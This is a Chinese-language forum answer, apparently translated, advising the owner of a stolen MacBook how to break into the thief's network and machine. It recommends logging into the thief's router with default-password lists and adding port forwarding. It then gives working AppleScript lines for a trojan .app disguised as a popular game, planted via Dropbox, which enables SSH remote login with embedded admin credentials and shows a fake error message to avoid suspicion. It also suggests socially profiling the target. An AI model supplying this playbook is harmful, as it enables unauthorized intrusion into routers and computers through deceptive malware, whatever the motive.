如何找到被盗的 Macbook

Question 1

我记得看过那个 Zoz 医生的视频。很好的东西。

听起来你很擅长编写 shell 脚本，只需要一个攻击媒介。做类似 Zoz 所做的事情的关键是获得 SSH 访问权限。与他的情况不同，小偷使用的是拨号调制解调器，由于较新的 Mac 不支持拨号，因此几乎可以肯定小偷使用的是宽带连接，并且位于某种 NAT 路由器后面。

即使机器上启用了 SSH，也必须在路由器上设置端口转发，以便您从外部访问机器的 SSH 监听端口。宽带连接的优点是 IP 地址几乎肯定不会像拨号连接那样频繁更改。

如果我处于你的位置，掌握了窃贼的 IP，我会首先尝试登录他们的路由器的 Web 界面，看看我能从那里做些什么。令人惊讶的是，有这么多人保留了他们的默认路由器/调制解调器密码，而且网上有列表，你可以找到大多数主要制造商的默认密码。

进入路由器后，检查路由器上的 DHCP 客户端列表，看看是否可以找到 MacBook。许多路由器会显示 MAC（硬件）地址、分配的内部 IP 地址（通常为 192.168.1.x）以及最重要的机器名称。

找出分配给 MacBook 的 IP，然后在路由器设置中设置端口转发。使用 22 以外的某个外部端口（例如端口 2222），并将其转发到 MacBook IP 的端口 22。

许多路由器都开启了 SSH 访问权限，因此访问窃贼的 IP @ 端口 22 可能会将您带到路由器 shell 而不是机器 shell。现在您应该在窃贼的外部 IP 上有一个端口（您从 Dropbox 获得），它将直接带您到 MacBook 上应该绑定 SSH 的端口。除非 SSH 尚未打开。

这部分需要窃贼采取一些行动。我喜欢电子邮件的想法，但它要求你的朋友使用 Apple Mail。更好的方法可能是将诱人的 .app 文件上传到 Dropbox，这将打开 SSH（远程登录）。

您可以通过 shell 脚本执行此操作，但通过 Applescript 执行此操作、将 Applescript 保存为 .app 并为其指定一个漂亮的图标，都将有助于欺骗您的标记并且不会暴露您的身份。

以下是打开远程登录的 Applescript 代码：

do shell script "sudo systemsetup setremotelogin on" user name "Friend's Username" password "Friend's Password" with administrator privileges

如果您愿意，这段代码将返回一个带有机器序列号的字符串，您可以将其通过电子邮件发送给自己：

do shell script "sudo system_profiler |grep \"r (system)\"" user name "Friend's Username" password "Friend's Password" with administrator privileges

我会编写 applescript，以便它能够打开远程登录，并执行您需要的任何其他操作。尽量不要编写 GUI 或除 shell 之外的任何应用程序的脚本，因为这会引起怀疑。最后显示一条消息，内容是“此应用程序无法在此 Macintosh 上运行。”，并带有“退出”按钮以减少怀疑。一旦脚本在 AppleScript 编辑器中运行，请将其保存为仅运行的 .app 文件。

尝试将 .app 伪装成热门游戏，如《植物大战僵尸》或《愤怒的小鸟》等。您可以从真实游戏的 .app 中导出图标，并将其放入从 Applescript 导出的 .app 中。如果您的朋友仔细观察了小偷，您可以对他/她进行社交分析，并将 .app 伪装成他们可能感兴趣的其他内容。

只要您可以设置端口转发（您的目标不会强制执行适当的安全措施），并且您可以让他/她运行该应用程序，您就可以完全通过 SSH 访问该机器，并且可以继续寻找线索而不会立即暴露您的存在。这也要求目标不会厌倦 Dropbox 的 Growl 通知并退出，所以我建议您的朋友暂时停止将文件保存到她的 Dropbox。

注意：如果窃贼断开与 ISP 的连接并重新连接，他们将获得一个新的外部 IP。将文件添加到 Dropbox 并等待其同步。这应该会为您获取更新的 IP。

注意 2：如果用户在一定时间内（通常为 24 小时）没有使用 MacBook 连接到路由器，则分配给 MacBook 的内部 IP 地址的 DHCP 租约将过期。除非将另一台设备引入网络，否则下次连接时它很可能会获得相同的 IP 地址。在这种情况下，您必须手动重新登录路由器并修改端口转发。

这不是唯一的攻击手段，但当我意识到 IP 仍在通过 Dropbox 更新时，我会这样做。祝你好运！

编辑：每行“执行 shell 脚本”末尾的“管理员权限”非常重要。如果您未在行中包含用户名和密码，系统将提示用户输入您朋友的管理员密码，并且脚本将失败。

Answer